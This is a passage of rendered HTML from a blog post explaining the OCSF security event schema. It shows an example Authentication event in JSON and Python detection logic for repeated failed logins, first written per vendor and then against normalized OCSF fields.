href=\"https://eliasa.link/blog/why-ocsf-is-awesome/#what-does-an-ocsf-authentication-event-actually-look-like\" class=\"hash-link\" aria-label=\"Direct link to What does an OCSF authentication event actually look like?\" title=\"Direct link to What does an OCSF authentication event actually look like?\" translate=\"no\">​</a></h2>\n<p>Authentication is an OCSF <strong>event class</strong>.</p>\n<p>In OCSF 1.9, the <a href=\"https://schema.ocsf.io/1.9.0/classes/authentication\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">Authentication class</a> has a <code>class_uid</code> of <code>3002</code> and belongs to the Identity &amp; Access Management category. It defines fields such as <code>user</code>, <code>src_endpoint</code>, <code>dst_endpoint</code>, <code>auth_protocol</code>, <code>auth_factors</code>, <code>is_mfa</code>, <code>is_remote</code>, <code>service</code>, <code>session</code>, and <code>status_detail</code>.</p>\n<p>Its <code>activity_id</code> identifies the activity represented by the event. For the Authentication class, <code>1</code> is Logon, <code>2</code> is Logoff, while other values represent activities such as Kerberos ticket requests and preauthentication.</p>\n<p>A simplified successful login could look like this:</p>\n<div class=\"language-json codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-json codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"activity_id\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"activity_name\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Logon\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"category_uid\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">3</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"category_name\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Identity &amp; Access Management\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"class_uid\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">3002</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"class_name\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Authentication\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"status_id\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"status\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Success\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"time\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1757155200000</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"user\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token property\" style=\"color:#36acaa\">\"email_addr\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"alice@example.com\"</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"src_endpoint\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token property\" style=\"color:#36acaa\">\"ip\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"203.0.113.42\"</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"is_mfa\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token boolean\" style=\"color:#36acaa\">true</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"metadata\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token property\" style=\"color:#36acaa\">\"version\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"1.9.0\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token property\" style=\"color:#36acaa\">\"product\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token property\" style=\"color:#36acaa\">\"name\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Example IdP\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token property\" style=\"color:#36acaa\">\"vendor_name\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Example\"</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></div></code></pre></div></div>\n<p>The event now has standardized semantics for concepts the detection needs:</p>\n<ul>\n<li class=\"\"><strong>User identity</strong> (<code>user</code>)</li>\n<li class=\"\"><strong>Source and destination</strong> (<code>src_endpoint</code>, <code>dst_endpoint</code>)</li>\n<li class=\"\"><strong>Authentication protocol and factors</strong> (<code>auth_protocol</code>, <code>auth_factors</code>)</li>\n<li class=\"\"><strong>MFA and remote access state</strong> (<code>is_mfa</code>, <code>is_remote</code>)</li>\n<li class=\"\"><strong>Target service and session</strong> (<code>service</code>, <code>session</code>)</li>\n<li class=\"\"><strong>Authentication outcome</strong> (<code>status_id</code>, <code>status</code>, <code>status_detail</code>)</li>\n</ul>\n<p>OCSF also provides both numeric identifiers and human-readable names. For example:</p>\n<div class=\"language-json codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-json codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token property\" style=\"color:#36acaa\">\"activity_id\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token property\" style=\"color:#36acaa\">\"activity_name\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Logon\"</span><br></div></code></pre></div></div>\n<p>The identifier gives consumers a consistent value, while the name makes the event easier to inspect.</p>\n<p>Every event class also inherits attributes common across OCSF — <code>class_uid</code>, <code>category_uid</code>, <code>severity_id</code>, <code>metadata</code> — on top of the fields specific to that class.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"now-the-detection-becomes-boring\">Now the detection becomes boring<a href=\"https://eliasa.link/blog/why-ocsf-is-awesome/#now-the-detection-becomes-boring\" class=\"hash-link\" aria-label=\"Direct link to Now the detection becomes boring\" title=\"Direct link to Now the detection becomes boring\" translate=\"no\">​</a></h2>\n<p>And that is a good thing.</p>\n<p>Now a harder detection:</p>\n<blockquote>\n<p>A user has five failed login attempts and then successfully logs in from an unusual IP address.</p>\n</blockquote>\n<p>Without normalization, the detection has to understand how every source represents the same concepts.</p>\n<p>An Okta event might have:</p>\n<div class=\"language-json codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-json codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"user\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"alice@example.com\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"clientIp\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"203.0.113.42\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"status\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"FAILURE\"</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></div></code></pre></div></div>\n<p>Another source might use:</p>\n<div class=\"language-json codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-json codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"userPrincipalName\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"alice@example.com\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"source_ip\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"203.0.113.42\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token property\" style=\"color:#36acaa\">\"result\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token property\" style=\"color:#36acaa\">\"code\"</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></div></code></pre></div></div>\n<p>The detection now has to contain source-specific logic:</p>\n<div class=\"language-python codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-python codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> source </span><span class=\"token operator\" style=\"color:#393A34\">==</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Okta\"</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    user </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> event</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"user\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    ip </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> event</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"clientIp\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    failed </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> event</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"status\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">==</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"FAILURE\"</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">elif</span><span class=\"token plain\"> source </span><span class=\"token operator\" style=\"color:#393A34\">==</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"GCP\"</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    user </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> event</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"userPrincipalName\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    ip </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> event</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"source_ip\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    failed </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> event</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"result\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"code\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">!=</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><br></div></code></pre></div></div>\n<p>Only after doing this can it implement the actual detection:</p>\n<div class=\"language-python codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-python codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> failed</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    failed_logins</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">user</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">append</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">event</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">elif</span><span class=\"token plain\"> is_unusual_ip</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">user</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> ip</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">and</span><span class=\"token plain\"> </span><span class=\"token builtin\">len</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">failed_logins</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">user</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">&gt;=</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">5</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    alert</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">user</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> ip</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><br></div></code></pre></div></div>\n<p>The problem is that the detection is now responsible for two different things:</p>\n<ol>\n<li class=\"\">Understanding each vendor's event format.</li>\n<li class=\"\">Detecting suspicious authentication behavior.</li>\n</ol>\n<p>The source mapper can convert both events into the same Authentication class. The detection can then work with the normalized fields:</p>\n<div class=\"language-python codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_QJqH\"><pre tabindex=\"0\" class=\"prism-code language-python codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">user </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> event</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"user\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"email_addr\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">ip </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> event</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"src_endpoint\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"ip\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> event</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"status_id\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">==</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">2</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    failed_logins</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">user</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">append</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">event</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">elif</span><span class=\"token plain\"> event</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token string\" style=\"color:#e3116c\">\"status_id\"</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">==</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> </span><span class=\"token builtin\">len</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">failed_logins</span><span class=\"token punctuation\" style=\"color:#393A34\">[</span><span class=\"token plain\">user</span><span class=\"token punctuation\" style=\"color:#393A34\">]</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">&gt;=</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">5</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">and</span><span class=\"token plain\"> is_unusual_ip</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">user</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> ip</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></div><div class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        alert</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">user</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> ip</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><br></div></code></pre></div></div>\n<p>Now the detection only describes the behavior we care about:</p>\n<blockquote>\n<p><strong>Five failed logins followed by a successful login from an unusual IP.</strong></p>\n</blockquote>\n<p>It does not need to know whether the original event came from Okta, GCP, a VPN, or another product.</p>\n<p>That is the useful boundary OCSF provides. Vendor-specific knowledge stays in the mapping layer, while the detection works with the security semantics of the event. Personally, this is why I like the OCSF model: it makes detections more predictable, maintainable, and straightforward.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"adding-another-product-should-not-break-the-detection\">Adding another product should not break the detection<a href=\"https://eliasa.link/blog/why-ocsf-is-awesome/#adding-another-product-should-not-break-the-detection\" class=\"hash-link\" aria-label=\"Direct link to Adding another product should not break the detection\" title=\"Direct link to Adding another product should not break the detection\" translate=\"no\">​</a></h2>\n<p>Your company adds another identity provider.</p>\n<p><strong>Without a common schema:</strong></p>\n<!-- -->\n<p><strong>With OCSF:</strong></p>\n<!-- -->\n<p>The new work still exists. Someone has to understand the vendor's event format and map it correctly — once.</p>\n<p>Without OCSF, that vendor-specific knowledge would show up again in every detection, dashboard, and query that touches this data. With it, it shows up once, in the mapper.</p>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" id=\"where-you-can-find-ocsf-today\">Where you can find OCSF today<a href=\"https://eliasa.link/blog/why-ocsf-is-awesome/#where-you-can-find-ocsf-today\" class=\"hash-link\" aria-label=\"Direct link to Where you can find OCSF today\" title=\"Direct link to Where you can find OCSF today\" translate=\"no\">​</a></h2>\n<p>OCSF is not just a schema sitting in a repository.</p>\n<ul>\n<li class=\"\"><a href=\"https://docs.aws.amazon.com/security-lake/latest/userguide/open-cybersecurity-schema-framework.html\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">Amazon Security Lake</a> uses OCSF as its normalization schema and converts supported security data into OCSF.</li>\n<li class=\"\">Datadog supports OCSF in Observability Pipelines - Read their article <a href=\"https://www.datadoghq.com/knowledge-center/ocsf/\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">What is OCSF and How Do You Implement It?</a></li>\n<li class=\"\">Tenzir supports OCSF as well as other schemas such as ECS, UDM, and CIM - Read <a href=\"https://tenzir.com/solutions/use-cases/data-normalization-ocsf/\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"\">One schema to rule them all</a></li>\n</ul>\n<h2 class=\"anchor anchorTargetStickyNavbar_Vzrq\" 